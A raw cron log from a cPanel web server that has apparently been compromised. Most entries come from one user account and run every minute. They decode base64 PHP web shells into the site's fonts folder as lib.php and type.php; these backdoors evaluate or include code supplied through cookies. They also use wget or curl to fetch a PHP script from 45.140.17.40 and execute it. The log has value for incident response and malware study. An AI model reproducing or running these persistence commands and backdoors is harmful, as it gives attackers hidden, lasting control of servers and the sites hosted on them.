Sep  8 16:54:01 ip-184-168-122-23 CROND[24171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:54:01 ip-184-168-122-23 CROND[24172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:54:01 ip-184-168-122-23 CROND[24173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:54:01 ip-184-168-122-23 CROND[24174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:55:01 ip-184-168-122-23 CROND[24877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:55:01 ip-184-168-122-23 CROND[24881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:55:01 ip-184-168-122-23 CROND[24880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:55:01 ip-184-168-122-23 CROND[24882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:55:01 ip-184-168-122-23 CROND[24879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:55:01 ip-184-168-122-23 CROND[24883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:56:01 ip-184-168-122-23 CROND[25514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:56:01 ip-184-168-122-23 CROND[25515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:56:01 ip-184-168-122-23 CROND[25516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:56:01 ip-184-168-122-23 CROND[25513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:56:01 ip-184-168-122-23 CROND[25520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:57:01 ip-184-168-122-23 CROND[26103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:57:01 ip-184-168-122-23 CROND[26107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:57:01 ip-184-168-122-23 CROND[26106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:57:01 ip-184-168-122-23 CROND[26108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:58:01 ip-184-168-122-23 CROND[26684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:58:01 ip-184-168-122-23 CROND[26687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:58:01 ip-184-168-122-23 CROND[26686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:58:01 ip-184-168-122-23 CROND[26688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:58:01 ip-184-168-122-23 CROND[26689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:59:01 ip-184-168-122-23 CROND[27214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:59:01 ip-184-168-122-23 CROND[27213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:59:01 ip-184-168-122-23 CROND[27212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:59:01 ip-184-168-122-23 CROND[27215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:00:01 ip-184-168-122-23 CROND[27755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:00:01 ip-184-168-122-23 CROND[27761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:00:01 ip-184-168-122-23 CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:00:01 ip-184-168-122-23 CROND[27760]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:00:01 ip-184-168-122-23 CROND[27758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:00:01 ip-184-168-122-23 CROND[27767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:00:01 ip-184-168-122-23 CROND[27766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:00:01 ip-184-168-122-23 CROND[27765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:01:02 ip-184-168-122-23 CROND[28287]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 17:01:02 ip-184-168-122-23 CROND[28288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:01:02 ip-184-168-122-23 CROND[28292]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:01:02 ip-184-168-122-23 CROND[28290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:01:02 ip-184-168-122-23 CROND[28296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:01:02 ip-184-168-122-23 CROND[28298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28287]: starting 0anacron
Sep  8 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28311]: finished 0anacron
Sep  8 17:02:01 ip-184-168-122-23 CROND[28896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:02:01 ip-184-168-122-23 CROND[28898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:02:01 ip-184-168-122-23 CROND[28899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:02:01 ip-184-168-122-23 CROND[28900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:02:01 ip-184-168-122-23 CROND[28901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:03:01 ip-184-168-122-23 CROND[29458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:03:01 ip-184-168-122-23 CROND[29459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:03:01 ip-184-168-122-23 CROND[29462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:03:01 ip-184-168-122-23 CROND[29463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:04:01 ip-184-168-122-23 CROND[30076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:04:01 ip-184-168-122-23 CROND[30075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:04:01 ip-184-168-122-23 CROND[30078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:04:01 ip-184-168-122-23 CROND[30081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:04:01 ip-184-168-122-23 CROND[30082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:05:01 ip-184-168-122-23 CROND[30523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:05:01 ip-184-168-122-23 CROND[30526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:05:01 ip-184-168-122-23 CROND[30527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:05:01 ip-184-168-122-23 CROND[30529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:05:01 ip-184-168-122-23 CROND[30531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:05:01 ip-184-168-122-23 CROND[30533]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:05:01 ip-184-168-122-23 CROND[30534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:06:01 ip-184-168-122-23 CROND[31043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:06:01 ip-184-168-122-23 CROND[31045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
